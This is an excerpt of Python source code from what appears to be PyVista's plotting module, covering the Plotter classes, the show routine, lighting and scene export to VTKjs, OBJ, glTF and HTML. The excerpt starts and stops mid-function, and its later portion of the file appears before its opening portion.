the internal thread for running the orbit.""" if progress_bar: # pragma: no cover points_seq = tqdm(points) else: points_seq = points for point in points_seq: tstart = time.time() # include the render time in the step time self.set_position(point) self.set_focus(focus) self.set_viewup(viewup) self.renderer.ResetCameraClippingRange() if write_frames: self.write_frame() else: self.render() sleep_time = step - (time.time() - tstart) if sleep_time > 0: time.sleep(sleep_time) if threaded: thread = Thread(target=orbit) thread.start() else: orbit() def export_vtkjs(self, filename, compress_arrays=False): """Export the current rendering scene as a VTKjs scene. It can be used for rendering in a web browser. Parameters ---------- filename : str Filename to export the scene to. A filename extension of ``'.vtkjs'`` will be added. compress_arrays : bool, optional Enable array compression. """ if not hasattr(self, 'ren_win'): raise RuntimeError('Export must be called before showing/closing the scene.') if isinstance(pyvista.FIGURE_PATH, str) and not os.path.isabs(filename): filename = os.path.join(pyvista.FIGURE_PATH, filename) else: filename = os.path.abspath(os.path.expanduser(filename)) export_plotter_vtkjs(self, filename, compress_arrays=compress_arrays) def export_obj(self, filename): """Export scene to OBJ format. Parameters ---------- filename : str Filename to export the scene to. Should end in ``'.obj'``. Returns ------- vtkOBJExporter Object exporter. """ # lazy import vtkOBJExporter here as it takes a long time to # load and is not always used try: from vtkmodules.vtkIOExport import vtkOBJExporter except: from vtk import vtkOBJExporter if not hasattr(self, "ren_win"): raise RuntimeError("This plotter must still have a render window open.") if isinstance(pyvista.FIGURE_PATH, str) and not os.path.isabs(filename): filename = os.path.join(pyvista.FIGURE_PATH, filename) else: filename = os.path.abspath(os.path.expanduser(filename)) exporter = vtkOBJExporter() exporter.SetFilePrefix(filename) exporter.SetRenderWindow(self.ren_win) return exporter.Write() def __del__(self): """Delete the plotter.""" # We have to check here if it has the closed attribute as it # may not exist should the plotter have failed to initialize. if hasattr(self, '_closed'): if not self._closed: self.close() self.deep_clean() if hasattr(self, 'renderers'): del self.renderers def add_background_image(self, image_path, scale=1, auto_resize=True, as_global=True): """Add a background image to a plot. Parameters ---------- image_path : str Path to an image file. scale : float, optional Scale the image larger or smaller relative to the size of the window. For example, a scale size of 2 will make the largest dimension of the image twice as large as the largest dimension of the render window. Defaults to 1. auto_resize : bool, optional Resize the background when the render window changes size. as_global : bool, optional When multiple render windows are present, setting ``as_global=False`` will cause the background to only appear in one window. Examples -------- >>> import pyvista >>> from pyvista import examples >>> plotter = pyvista.Plotter() >>> actor = plotter.add_mesh(pyvista.Sphere()) >>> plotter.add_background_image(examples.mapfile) >>> plotter.show() """ if self.renderers.has_active_background_renderer: raise RuntimeError('A background image already exists. ' 'Remove it with ``remove_background_image`` ' 'before adding one') # Need to change the number of layers to support an additional # background layer if not self._has_background_layer: self.ren_win.SetNumberOfLayers(3) renderer = self.renderers.add_background_renderer(image_path, scale, as_global) self.ren_win.AddRenderer(renderer) # setup autoscaling of the image if auto_resize: # pragma: no cover self.iren.add_observer('ModifiedEvent', renderer.resize) def remove_background_image(self): """Remove the background image from the current subplot.""" self.renderers.remove_background_image() # return the active renderer to the top, otherwise flat background # will not be rendered self.renderer.layer = 0 def _on_first_render_request(self, cpos=None): """Once an image or render is officially requested, run this routine. For example on the show call or any screenshot producing code. """ # reset unless camera for the first render unless camera is set if self._first_time: # and not self.camera_set: for renderer in self.renderers: if not renderer.camera_set and cpos is None: renderer.camera_position = renderer.get_default_cam_pos() renderer.ResetCamera() elif cpos is not None: renderer.camera_position = cpos self._first_time = False def reset_camera_clipping_range(self): """Reset camera clipping planes.""" self.renderer.ResetCameraClippingRange() def add_light(self, light, only_active=False): """Add a Light to the scene. Parameters ---------- light : Light or vtkLight The light to be added. only_active : bool, optional If ``True``, only add the light to the active renderer. The default is that every renderer adds the light. To add the light to an arbitrary renderer, see :func:`pyvista.plotting.renderer.Renderer.add_light`. Examples -------- Create a plotter that we initialize with no lights, and add a cube and a single headlight to it. >>> import pyvista as pv >>> plotter = pv.Plotter(lighting='none') >>> _ = plotter.add_mesh(pv.Cube()) >>> light = pv.Light(color='cyan', light_type='headlight') >>> plotter.add_light(light) >>> plotter.show() """ renderers = [self.renderer] if only_active else self.renderers for renderer in renderers: renderer.add_light(light) def remove_all_lights(self, only_active=False): """Remove all lights from the scene. Parameters ---------- only_active : bool If ``True``, only remove lights from the active renderer. The default is that lights are stripped from every renderer. Examples -------- Create a plotter and remove all lights after initialization. Note how the mesh rendered is completely flat >>> import pyvista as pv >>> plotter = pv.Plotter() >>> plotter.remove_all_lights() >>> plotter.renderer.lights [] >>> _ = plotter.add_mesh(pv.Sphere(), show_edges=True) >>> plotter.show() Note how this differs from a plot with default lighting >>> pv.Sphere().plot(show_edges=True, lighting=True) """ renderers = [self.renderer] if only_active else self.renderers for renderer in renderers: renderer.remove_all_lights() def where_is(self, name): """Return the subplot coordinates of a given actor. Parameters ---------- name : str Actor's name. Returns ------- list(tuple(int)) A list with the subplot coordinates of the actor. Examples -------- >>> import pyvista as pv >>> plotter = pv.Plotter(shape=(2, 2)) >>> plotter.subplot(0, 0) >>> _ = plotter.add_mesh(pv.Box(), name='box') >>> plotter.subplot(0, 1) >>> _ = plotter.add_mesh(pv.Sphere(), name='sphere') >>> plotter.subplot(1, 0) >>> _ = plotter.add_mesh(pv.Box(), name='box') >>> plotter.subplot(1, 1) >>> _ = plotter.add_mesh(pv.Cone(), name='cone') >>> plotter.where_is('box') [(0, 0), (1, 0)] >>> plotter.show() """ places = [] for index in range(len(self.renderers)): if name in self.renderers[index]._actors: places.append(tuple(self.renderers.index_to_loc(index))) return places class Plotter(BasePlotter): """Plotting object to display vtk meshes or numpy arrays. Parameters ---------- off_screen : bool, optional Renders off screen when ``True``. Useful for automated screenshots. notebook : bool, optional When ``True``, the resulting plot is placed inline a jupyter notebook. Assumes a jupyter console is active. Automatically enables ``off_screen``. shape : list or tuple, optional Number of sub-render windows inside of the main window. Specify two across with ``shape=(2, 1)`` and a two by two grid with ``shape=(2, 2)``. By default there is only one render window. Can also accept a string descriptor as shape. E.g.: * ``shape="3|1"`` means 3 plots on the left and 1 on the right, * ``shape="4/2"`` means 4 plots on top and 2 at the bottom. border : bool, optional Draw a border around each render window. Default ``False``. border_color : str or 3 item list, optional Either a string, rgb list, or hex color string. For example: * ``color='white'`` * ``color='w'`` * ``color=[1, 1, 1]`` * ``color='#FFFFFF'`` window_size : list, optional Window size in pixels. Defaults to ``[1024, 768]``, unless set differently in the relevant theme's ``window_size`` property. multi_samples : int, optional The number of multi-samples used to mitigate aliasing. 4 is a good default but 8 will have better results with a potential impact on performance. line_smoothing : bool, optional If ``True``, enable line smoothing. polygon_smoothing : bool, optional If ``True``, enable polygon smoothing. lighting : str, optional What lighting to set up for the plotter. Accepted options: * ``'light_kit'``: a vtk Light Kit composed of 5 lights. * ``'three lights'``: illumination using 3 lights. * ``'none'``: no light sources at instantiation. The default is a ``'light_kit'`` (to be precise, 5 separate lights that act like a Light Kit). theme : pyvista.themes.DefaultTheme, optional Plot-specific theme. Examples -------- >>> import pyvista >>> from pyvista import examples >>> mesh = examples.load_hexbeam() >>> another_mesh = examples.load_uniform() >>> plotter = pyvista.Plotter() >>> actor = plotter.add_mesh(mesh, color='red') >>> actor = plotter.add_mesh(another_mesh, color='blue') >>> plotter.show() """ last_update_time = 0.0 right_timer_id = -1 def __init__(self, off_screen=None, notebook=None, shape=(1, 1), groups=None, row_weights=None, col_weights=None, border=None, border_color='k', border_width=2.0, window_size=None, multi_samples=None, line_smoothing=False, point_smoothing=False, polygon_smoothing=False, splitting_position=None, title=None, lighting='light kit', theme=None): """Initialize a vtk plotting object.""" super().__init__(shape=shape, border=border, border_color=border_color, border_width=border_width, groups=groups, row_weights=row_weights, col_weights=col_weights, splitting_position=splitting_position, title=title, lighting=lighting, theme=theme) log.debug('Plotter init start') # check if a plotting backend is enabled _warn_xserver() def on_timer(iren, event_id): """Exit application if interactive renderer stops.""" if event_id == 'TimerEvent': self.iren.terminate_app() if off_screen is None: off_screen = pyvista.OFF_SCREEN if notebook is None: if self._theme.notebook is not None: notebook = self._theme.notebook else: notebook = scooby.in_ipykernel() self.notebook = notebook if self.notebook: off_screen = True self.off_screen = off_screen self._window_size_unset = False if window_size is None: self._window_size_unset = True window_size = self._theme.window_size self.__prior_window_size = window_size if multi_samples is None: multi_samples = self._theme.multi_samples # initialize render window self.ren_win = _vtk.vtkRenderWindow() self.ren_win.SetMultiSamples(multi_samples) self.ren_win.SetBorders(True) if line_smoothing: self.ren_win.LineSmoothingOn() if point_smoothing: self.ren_win.PointSmoothingOn() if polygon_smoothing: self.ren_win.PolygonSmoothingOn() for renderer in self.renderers: self.ren_win.AddRenderer(renderer) # Add the shadow renderer to allow us to capture interactions within # a given viewport # https://vtk.org/pipermail/vtkusers/2018-June/102030.html number_or_layers = self.ren_win.GetNumberOfLayers() current_layer = self.renderer.GetLayer() self.ren_win.SetNumberOfLayers(number_or_layers + 1) self.ren_win.AddRenderer(self.renderers.shadow_renderer) self.renderers.shadow_renderer.SetLayer(current_layer + 1) self.renderers.shadow_renderer.SetInteractive(False) # never needs to capture if self.off_screen: self.ren_win.SetOffScreenRendering(1) # vtkGenericRenderWindowInteractor has no event loop and # allows the display client to close on Linux when # off_screen. We still want an interactor for off screen # plotting since there are some widgets (like the axes # widget) that need an interactor interactor = _vtk.vtkGenericRenderWindowInteractor() else: interactor = None # Add ren win and interactor self.iren = RenderWindowInteractor(self, light_follow_camera=False, interactor=interactor) self.iren.set_render_window(self.ren_win) self.enable_trackball_style() # internally calls update_style() self.iren.add_observer("KeyPressEvent", self.key_press_event) # Set background self.set_background(self._theme.background) # Set window size self.window_size = window_size # add timer event if interactive render exists self.iren.add_observer(_vtk.vtkCommand.TimerEvent, on_timer) if self._theme.depth_peeling.enabled: if self.enable_depth_peeling(): for renderer in self.renderers: renderer.enable_depth_peeling() log.debug('Plotter init stop') def show(self, title=None, window_size=None, interactive=True, auto_close=None, interactive_update=False, full_screen=None, screenshot=False, return_img=False, cpos=None, use_ipyvtk=None, jupyter_backend=None, return_viewer=False, return_cpos=None, **kwargs): """Display the plotting window. Parameters ---------- title : str, optional Title of plotting window. Defaults to :attr:`pyvista.global_theme.title <pyvista.themes.DefaultTheme.title>`. window_size : list, optional Window size in pixels. Defaults to :attr:`pyvista.global_theme.window_size <pyvista.themes.DefaultTheme.window_size>`. interactive : bool, optional Enabled by default. Allows user to pan and move figure. Defaults to :attr:`pyvista.global_theme.interactive <pyvista.themes.DefaultTheme.interactive>`. auto_close : bool, optional Exits plotting session when user closes the window when interactive is ``True``. Defaults to :attr:`pyvista.global_theme.auto_close <pyvista.themes.DefaultTheme.auto_close>`. interactive_update : bool, optional Disabled by default. Allows user to non-blocking draw, user should call :func:`BasePlotter.update` in each iteration. full_screen : bool, optional Opens window in full screen. When enabled, ignores ``window_size``. Defaults to :attr:`pyvista.global_theme.full_screen <pyvista.themes.DefaultTheme.full_screen>`. screenshot : str or bool, optional Take a screenshot of the initial state of the plot. If a string, it specifies the path to which the screenshot is saved. If ``True``, the screenshot is returned as an array. Defaults to ``False``. For interactive screenshots it's recommended to first call ``show()`` with ``auto_close=False`` to set the scene, then save the screenshot in a separate call to ``show()`` or :func:`Plotter.screenshot`. return_img : bool Returns a numpy array representing the last image along with the camera position. cpos : list(tuple(floats)) The camera position. You can also set this with :attr:`Plotter.camera_position`. use_ipyvtk : bool, optional Deprecated. Instead, set the backend either globally with ``pyvista.set_jupyter_backend('ipyvtklink')`` or with ``backend='ipyvtklink'``. jupyter_backend : str, optional Jupyter notebook plotting backend to use. One of the following: * ``'none'`` : Do not display in the notebook. * ``'pythreejs'`` : Show a ``pythreejs`` widget * ``'static'`` : Display a static figure. * ``'ipygany'`` : Show a ``ipygany`` widget * ``'panel'`` : Show a ``panel`` widget. This can also be set globally with :func:`pyvista.set_jupyter_backend`. return_viewer : bool, optional Return the jupyterlab viewer, scene, or display object when plotting with jupyter notebook. return_cpos : bool, optional Return the last camera position from the render window when enabled. Default based on theme setting. See :attr:`pyvista.themes.DefaultTheme.return_cpos`. **kwargs : dict, optional Developer keyword arguments. Returns ------- cpos : list List of camera position, focal point, and view up. Returned only when ``return_cpos=True`` or set in the default global or plot theme. Not returned when in a jupyter notebook and ``return_viewer=True``. image : np.ndarray Numpy array of the last image when either ``return_img=True`` or ``screenshot=True`` is set. Not returned when in a jupyter notebook with ``return_viewer=True``. Optionally contains alpha values. Sized: * [Window height x Window width x 3] if the theme sets ``transparent_background=False``. * [Window height x Window width x 4] if the theme sets ``transparent_background=True``. widget IPython widget when ``return_viewer=True``. Notes ----- Please use the ``q``-key to close the plotter as some operating systems (namely Windows) will experience issues saving a screenshot if the exit button in the GUI is pressed. Examples -------- Simply show the plot of a mesh. >>> import pyvista as pv >>> pl = pv.Plotter() >>> _ = pl.add_mesh(pv.Cube()) >>> pl.show() Take a screenshot interactively. Screenshot will be of the first image shown, so use the first call with ``auto_close=False`` to set the scene before taking the screenshot. >>> pl = pv.Plotter() >>> _ = pl.add_mesh(pv.Cube()) >>> pl.show(auto_close=False) # doctest:+SKIP >>> pl.show(screenshot='my_image.png') # doctest:+SKIP Display a ``pythreejs`` scene within a jupyter notebook >>> pl.show(jupyter_backend='pythreejs') # doctest:+SKIP Return a ``pythreejs`` scene. >>> pl.show(jupyter_backend='pythreejs', return_viewer=True) # doctest:+SKIP Obtain the camera position when using ``show``. >>> pl = pv.Plotter() >>> _ = pl.add_mesh(pv.Sphere()) >>> pl.show(return_cpos=True) # doctest:+SKIP [(2.223005211686484, -0.3126909484828709, 2.4686209867735065), (0.0, 0.0, 0.0), (-0.6839951597283509, -0.47207319712073137, 0.5561452310578585)] """ # developer keyword argument: runs a function immediately prior to ``close`` self._before_close_callback = kwargs.pop('before_close_callback', None) jupyter_kwargs = kwargs.pop('jupyter_kwargs', {}) assert_empty_kwargs(**kwargs) if interactive_update and auto_close is None: auto_close = False elif interactive_update and auto_close: warnings.warn(textwrap.dedent("""\ The plotter will close immediately automatically since ``auto_close=True``. Either, do not specify ``auto_close``, or set it to ``False`` if you want to interact with the plotter interactively.\ """) ) elif auto_close is None: auto_close = self._theme.auto_close if use_ipyvtk: txt = textwrap.dedent("""\ use_ipyvtk is deprecated. Set the backend globally with ``pyvista.set_jupyter_backend("ipyvtklink" or with ``backend="ipyvtklink"``) """) from pyvista.core.errors import DeprecationError raise DeprecationError(txt) if not hasattr(self, "ren_win"): raise RuntimeError("This plotter has been closed and cannot be shown.") if full_screen is None: full_screen = self._theme.full_screen if full_screen: self.ren_win.SetFullScreen(True) self.ren_win.BordersOn() # super buggy when disabled else: if window_size is None: window_size = self.window_size else: self._window_size_unset = False self.ren_win.SetSize(window_size[0], window_size[1]) # reset unless camera for the first render unless camera is set self._on_first_render_request(cpos) # handle plotter notebook if jupyter_backend and not self.notebook: warnings.warn('Not within a jupyter notebook environment.\n' 'Ignoring ``jupyter_backend``.') if self.notebook: from ..jupyter.notebook import handle_plotter if jupyter_backend is None: jupyter_backend = self._theme.jupyter_backend if jupyter_backend != 'none': disp = handle_plotter(self, backend=jupyter_backend, return_viewer=return_viewer, **jupyter_kwargs) return disp self.render() # This has to be after the first render for some reason if title is None: title = self.title if title: self.ren_win.SetWindowName(title) self.title = title # Keep track of image for sphinx-gallery if pyvista.BUILDING_GALLERY or screenshot: # always save screenshots for sphinx_gallery self.last_image = self.screenshot(screenshot, return_img=True) self.last_image_depth = self.get_image_depth() # See: https://github.com/pyvista/pyvista/issues/186#issuecomment-550993270 if interactive and not self.off_screen: try: # interrupts will be caught here log.debug('Starting iren') self.iren.update_style() if not interactive_update: # Resolves #1260 if os.name == 'nt': if _vtk.VTK9: self.iren.process_events() else: global VERY_FIRST_RENDER if not VERY_FIRST_RENDER: self.iren.start() VERY_FIRST_RENDER = False self.iren.start() self.iren.initialize() except KeyboardInterrupt: log.debug('KeyboardInterrupt') self.close() raise KeyboardInterrupt # In the event that the user hits the exit-button on the GUI (on # Windows OS) then it must be finalized and deleted as accessing it # will kill the kernel. # Here we check for that and clean it up before moving on to any of # the closing routines that might try to still access that # render window. if not self.ren_win.IsCurrent(): self._clear_ren_win() # The ren_win is deleted # proper screenshots cannot be saved if this happens if not auto_close: warnings.warn("`auto_close` ignored: by clicking the exit button, " "you have destroyed the render window and we have to " "close it out.") auto_close = True # NOTE: after this point, nothing from the render window can be accessed # as if a user presed the close button, then it destroys the # the render view and a stream of errors will kill the Python # kernel if code here tries to access that renderer. # See issues #135 and #186 for insight before editing the # remainder of this function. # Close the render window if requested if auto_close: self.close() # If user asked for screenshot, return as numpy array after camera # position if return_img or screenshot is True: if return_cpos: return self.camera_position, self.last_image if return_cpos: return self.camera_position def add_title(self, title, font_size=18, color=None, font=None, shadow=False): """Add text to the top center of the plot. This is merely a convenience method that calls ``add_text`` with ``position='upper_edge'``. Parameters ---------- title : str The text to add the rendering. font_size : float, optional Sets the size of the title font. Defaults to 16 or the value of the global theme if set. color : str or 3 item list, optional, Either a string, rgb list, or hex color string. Defaults to white or the value of the global theme if set. For example: * ``color='white'`` * ``color='w'`` * ``color=[1, 1, 1]`` * ``color='#FFFFFF'`` font : str, optional Font name may be ``'courier'``, ``'times'``, or ``'arial'``. shadow : bool, optional Adds a black shadow to the text. Defaults to ``False``. Returns ------- vtk.vtkTextActor Text actor added to plot. Examples -------- >>> import pyvista >>> pl = pyvista.Plotter() >>> pl.background_color = 'grey' >>> actor = pl.add_title('Plot Title', font='courier', color='k', ... font_size=40) >>> pl.show() """ # add additional spacing from the top of the figure by default title = '\n' + title return self.add_text(title, position='upper_edge', font_size=font_size, color=color, font=font, shadow=shadow, name='title', viewport=False) def add_cursor( self, bounds=(-1.0, 1.0, -1.0, 1.0, -1.0, 1.0), focal_point=(0.0, 0.0, 0.0), color=None, ): """Add a cursor of a PyVista or VTK dataset to the scene. Parameters ---------- bounds : length 6 sequence Specify the bounds in the format of: - ``(xmin, xmax, ymin, ymax, zmin, zmax)`` Defaults to ``(-1.0, 1.0, -1.0, 1.0, -1.0, 1.0)``. focal_point : list or tuple, optional The focal point of the cursor. Defaults to ``(0.0, 0.0, 0.0)``. color : str or sequence, optional Either a string, RGB sequence, or hex color string. For one of the following. * ``color='white'`` * ``color='w'`` * ``color=[1, 1, 1]`` * ``color='#FFFFFF'`` Returns ------- vtk.vtkActor VTK actor of the 2D cursor. Examples -------- >>> import pyvista >>> sphere = pyvista.Sphere() >>> plotter = pyvista.Plotter() >>> _ = plotter.add_mesh(sphere) >>> _ = plotter.add_cursor() >>> plotter.show() """ alg = _vtk.vtkCursor3D() alg.SetModelBounds(bounds) alg.SetFocalPoint(focal_point) alg.AllOn() mapper = make_mapper(_vtk.vtkDataSetMapper) mapper.SetInputConnection(alg.GetOutputPort()) actor, prop = self.add_actor(mapper) prop.SetColor(parse_color(color)) return actor # Tracks created plotters. At the end of the file as we need to # define ``BasePlotter`` before including it in the type definition. _ALL_PLOTTERS: Dict[str, BasePlotter] = {} def _kill_display(disp_id): # pragma: no cover """Forcibly close the display on Linux. See: https://gitlab.kitware.com/vtk/vtk/-/issues/17917#note_783584 And more details into why... https://stackoverflow.com/questions/64811503 Notes ----- This is to be used experimentally and is known to cause issues on `pyvistaqt` """ if platform.system() != 'Linux': raise OSError('This method only works on Linux') if disp_id: cdisp_id = int(disp_id[1:].split('_')[0], 16) # this is unsafe as events might be queued, but sometimes the # window fails to close if we don't just close it Thread(target=X11.XCloseDisplay, args=(cdisp_id, )).start()
"""PyVista plotting module.""" import platform import ctypes import sys import pathlib import collections.abc from typing import Sequence import logging import os import textwrap import time import warnings import weakref from functools import wraps from threading import Thread from typing import Dict import numpy as np import scooby import pyvista from pyvista import _vtk from pyvista.utilities import (assert_empty_kwargs, convert_array, convert_string_array, get_array, is_pyvista_dataset, abstract_class, numpy_to_texture, raise_not_matching, wrap) from ..utilities.regression import image_from_window from ..utilities.misc import PyvistaDeprecationWarning from .colors import get_cmap_safe from .export_vtkjs import export_plotter_vtkjs from .mapper import make_mapper from .picking import PickingHelper from .renderer import Renderer, Camera from .tools import (normalize, opacity_transfer_function, parse_color, parse_font_family, FONTS) from .widgets import WidgetHelper from .scalar_bars import ScalarBars from .renderers import Renderers from .render_window_interactor import RenderWindowInteractor def _has_matplotlib(): try: import matplotlib return True except ImportError: # pragma: no cover return False SUPPORTED_FORMATS = [".png", ".jpeg", ".jpg", ".bmp", ".tif", ".tiff"] VERY_FIRST_RENDER = True # windows plotter helper # EXPERIMENTAL: permit pyvista to kill the render window KILL_DISPLAY = platform.system() == 'Linux' and os.environ.get('PYVISTA_KILL_DISPLAY') if KILL_DISPLAY: # pragma: no cover # this won't work under wayland try: X11 = ctypes.CDLL("libX11.so") X11.XCloseDisplay.argtypes = [ctypes.c_void_p] except OSError: warnings.warn('PYVISTA_KILL_DISPLAY: Unable to load X11.\n' 'Probably using wayland') KILL_DISPLAY = False def close_all(): """Close all open/active plotters and clean up memory. Returns ------- bool ``True`` when all plotters have been closed. """ for key, p in _ALL_PLOTTERS.items(): if not p._closed: p.close() p.deep_clean() _ALL_PLOTTERS.clear() return True log = logging.getLogger(__name__) log.setLevel('CRITICAL') log.addHandler(logging.StreamHandler()) def _warn_xserver(): # pragma: no cover """Check if plotting is supported and persist this state. Check once and cache this value between calls. Warn the user if plotting is not supported. Configured to check on Linux and Mac OS since the Windows check is not quick. """ # disable windows check until we can get a fast way of verifying # if windows has a windows manager (which it generally does) if os.name == 'nt': return if not hasattr(_warn_xserver, 'has_support'): _warn_xserver.has_support = pyvista.system_supports_plotting() if not _warn_xserver.has_support: # check if a display has been set if 'DISPLAY' in os.environ: return # finally, check if using a backend that doesn't require an xserver if pyvista.global_theme.jupyter_backend in ['ipygany']: return # Check if VTK has EGL support ren_win_str = str(type(_vtk.vtkRenderWindow())) if 'EGL' in ren_win_str or 'OSOpenGL' in ren_win_str: return warnings.warn('\n' 'This system does not appear to be running an xserver.\n' 'PyVista will likely segfault when rendering.\n\n' 'Try starting a virtual frame buffer with xvfb, or using\n ' ' ``pyvista.start_xvfb()``\n') USE_SCALAR_BAR_ARGS = """ "stitle" is a depreciated keyword and will be removed in a future release. Use ``scalar_bar_args`` instead. For example: scalar_bar_args={'title': 'Scalar Bar Title'} """ @abstract_class class BasePlotter(PickingHelper, WidgetHelper): """To be used by the Plotter and pyvistaqt.QtInteractor classes. Parameters ---------- shape : list or tuple, optional Number of sub-render windows inside of the main window. Specify two across with ``shape=(2, 1)`` and a two by two grid with ``shape=(2, 2)``. By default there is only one renderer. Can also accept a string descriptor as shape. E.g.: * ``shape="3|1"`` means 3 plots on the left and 1 on the right, * ``shape="4/2"`` means 4 plots on top and 2 at the bottom. border : bool, optional Draw a border around each render window. Default ``False``. border_color : str or sequence, optional Either a string, rgb list, or hex color string. For example: * ``color='white'`` * ``color='w'`` * ``color=[1, 1, 1]`` * ``color='#FFFFFF'`` border_width : float, optional Width of the border in pixels when enabled. title : str, optional Window title of the scalar bar lighting : str, optional What lighting to set up for the plotter. Accepted options: * ``'light_kit'``: a vtk Light Kit composed of 5 lights. * ``'three lights'``: illumination using 3 lights. * ``'none'``: no light sources at instantiation. The default is a Light Kit (to be precise, 5 separate lights that act like a Light Kit). theme : pyvista.themes.DefaultTheme, optional Plot-specific theme. """ mouse_position = None click_position = None def __init__(self, shape=(1, 1), border=None, border_color='k', border_width=2.0, title=None, splitting_position=None, groups=None, row_weights=None, col_weights=None, lighting='light kit', theme=None): """Initialize base plotter.""" log.debug('BasePlotter init start') self._theme = pyvista.themes.DefaultTheme() if theme is None: # copy global theme to ensure local plot theme is fixed # after creation. self._theme.load_theme(pyvista.global_theme) else: if not isinstance(theme, pyvista.themes.DefaultTheme): raise TypeError('Expected ``pyvista.themes.DefaultTheme`` for ' f'``theme``, not {type(theme).__name__}.') self._theme.load_theme(theme) self.image_transparent_background = self._theme.transparent_background # optional function to be called prior to closing self.__before_close_callback = None self._store_image = False self.mesh = None if title is None: title = self._theme.title self.title = str(title) # add renderers self.renderers = Renderers(self, shape, splitting_position, row_weights, col_weights, groups, border, border_color, border_width) # This keeps track of scalars names already plotted and their ranges self._scalar_bars = ScalarBars(self) # track if the camera has been setup self._first_time = True # Keep track of the scale self._labels = [] # track if render window has ever been rendered self._rendered = False # this helps managing closed plotters self._closed = False # lighting style; be forgiving with input (accept underscores # and ignore case) lighting_normalized = str(lighting).replace('_', ' ').lower() if lighting_normalized == 'light kit': self.enable_lightkit() elif lighting_normalized == 'three lights': self.enable_3_lights() elif lighting_normalized != 'none': raise ValueError(f'Invalid lighting option "{lighting}".') # Add self to open plotters self._id_name = f"{hex(id(self))}-{len(_ALL_PLOTTERS)}" _ALL_PLOTTERS[self._id_name] = self # Key bindings self.reset_key_events() log.debug('BasePlotter init stop') self._image_depth_null = None self.last_image_depth = None self.last_image = None self._has_background_layer = False # set hidden line removal based on theme if self.theme.hidden_line_removal: self.enable_hidden_line_removal() # set antialiasing based on theme if self.theme.antialiasing: self.enable_anti_aliasing() @property def theme(self): """Return or set the theme used for this plotter. Examples -------- Use the dark theme for a plotter. >>> import pyvista >>> from pyvista import themes >>> pl = pyvista.Plotter() >>> pl.theme = themes.DarkTheme() >>> actor = pl.add_mesh(pyvista.Sphere()) >>> pl.show() """ return self._theme @theme.setter def theme(self, theme): if not isinstance(theme, pyvista.themes.DefaultTheme): raise TypeError('Expected a pyvista theme like ' '``pyvista.themes.DefaultTheme``, ' f'not {type(theme).__name__}.') self._theme.load_theme(pyvista.global_theme) def import_gltf(self, filename, set_camera=True): """Import a glTF file into the plotter. See https://www.khronos.org/gltf/ for more information. Parameters ---------- filename : str Path to the glTF file. set_camera : bool, optional Set the camera viewing angle to one compatible with the default three.js perspective (``'xy'``). Examples -------- >>> import pyvista >>> from pyvista import examples >>> helmet_file = examples.gltf.download_damaged_helmet() # doctest:+SKIP >>> texture = examples.hdr.download_dikhololo_night() # doctest:+SKIP >>> pl = pyvista.Plotter() # doctest:+SKIP >>> pl.import_gltf(helmet_file) # doctest:+SKIP >>> pl.set_environment_texture(cubemap) # doctest:+SKIP >>> pl.camera.zoom(1.8) # doctest:+SKIP >>> pl.show() # doctest:+SKIP See :ref:`load_gltf` for a full example using this method. """ if not _vtk.VTK9: # pragma: no cover raise RuntimeError('Support for glTF requires VTK v9 or newer') filename = os.path.abspath(os.path.expanduser(str(filename))) if not os.path.isfile(filename): raise FileNotFoundError(f'Unable to locate {filename}') # lazy import here to avoid importing unused modules from vtkmodules.vtkIOImport import vtkGLTFImporter importer = vtkGLTFImporter() importer.SetFileName(filename) importer.SetRenderWindow(self.ren_win) importer.Update() # register last actor in actors actor = self.renderer.GetActors().GetLastItem() name = actor.GetAddressAsString("") self.renderer._actors[name] = actor # set camera position to a three.js viewing perspective if set_camera: self.camera_position = 'xy' def export_html(self, filename): """Export this plotter as an interactive scene to a HTML file. Parameters ---------- filename : str Path to export the html file to. Notes ----- You will need ``ipywidgets`` and ``pythreejs`` installed for this feature. Examples -------- >>> import pyvista >>> from pyvista import examples >>> mesh = examples.load_uniform() >>> pl = pyvista.Plotter(shape=(1,2)) >>> _ = pl.add_mesh(mesh, scalars='Spatial Point Data', show_edges=True) >>> pl.subplot(0,1) >>> _ = pl.add_mesh(mesh, scalars='Spatial Cell Data', show_edges=True) >>> pl.export_html('pyvista.html') # doctest:+SKIP """ pythreejs_renderer = self.to_pythreejs() # import after converting as we check for pythreejs import first try: from ipywidgets.embed import embed_minimal_html except ImportError: # pragma: no cover raise ImportError('Please install ipywidgets with:\n' '\n\tpip install ipywidgets') # convert and write to file embed_minimal_html(filename, views=[pythreejs_renderer], title=self.title) def to_pythreejs(self): """Convert this plotting scene to a pythreejs renderer. Returns ------- ipywidgets.Widget Widget containing pythreejs renderer. """ self._on_first_render_request() # setup camera from pyvista.jupyter.pv_pythreejs import convert_plotter return convert_plotter(self) def export_gltf(self, filename, inline_data=True, rotate_scene=True, save_normals=True): """Export the current rendering scene as a glTF file. Visit https://gltf-viewer.donmccurdy.com/ for an online viewer. See https://vtk.org/doc/nightly/html/classvtkGLTFExporter.html for limitations regarding the exporter. Parameters ---------- filename : str Path to export the gltf file to. inline_data : bool, optional Sets if the binary data be included in the json file as a base64 string. When ``True``, only one file is exported. rotate_scene : bool, optional Rotate scene to be compatible with the glTF specifications. save_normals : bool, optional Saves the point array ``'Normals'`` as ``'NORMALS'`` in the outputted scene. Examples -------- Output a simple point cloud represented as balls. >>> import numpy as np >>> import pyvista >>> point_cloud = np.random.random((100, 3)) >>> pdata = pyvista.PolyData(point_cloud) >>> pdata['orig_sphere'] = np.arange(100) >>> sphere = pyvista.Sphere(radius=0.02) >>> pc = pdata.glyph(scale=False, geom=sphere) >>> pl = pyvista.Plotter() >>> _ = pl.add_mesh(pc, cmap='reds', smooth_shading=True, ... show_scalar_bar=False) >>> pl.export_gltf('balls.gltf') # doctest:+SKIP >>> pl.show() Output the orientation plotter. >>> from pyvista import demos >>> pl = demos.orientation_plotter() >>> pl.export_gltf('orientation_plotter.gltf') # doctest:+SKIP >>> pl.show() """ if not _vtk.VTK9: # pragma: no cover raise RuntimeError('Support for glTF requires VTK v9 or newer') if not hasattr(self, "ren_win"): raise RuntimeError('This plotter has been closed and is unable to export ' 'the scene.') from vtkmodules.vtkIOExport import vtkGLTFExporter # rotate scene to gltf compatible view if rotate_scene: for renderer in self.renderers: for actor in renderer.actors.values(): if hasattr(actor, 'RotateX'): actor.RotateX(-90) actor.RotateZ(-90) if save_normals: try: mapper = actor.GetMapper() if mapper is None: continue dataset = mapper.GetInputAsDataSet() if 'Normals' in dataset.point_data: # ensure normals are active normals = dataset.point_data['Normals'] dataset.point_data.active_normals = normals.copy() except: pass exporter = vtkGLTFExporter() exporter.SetRenderWindow(self.ren_win) exporter.SetFileName(filename) exporter.SetInlineData(inline_data) 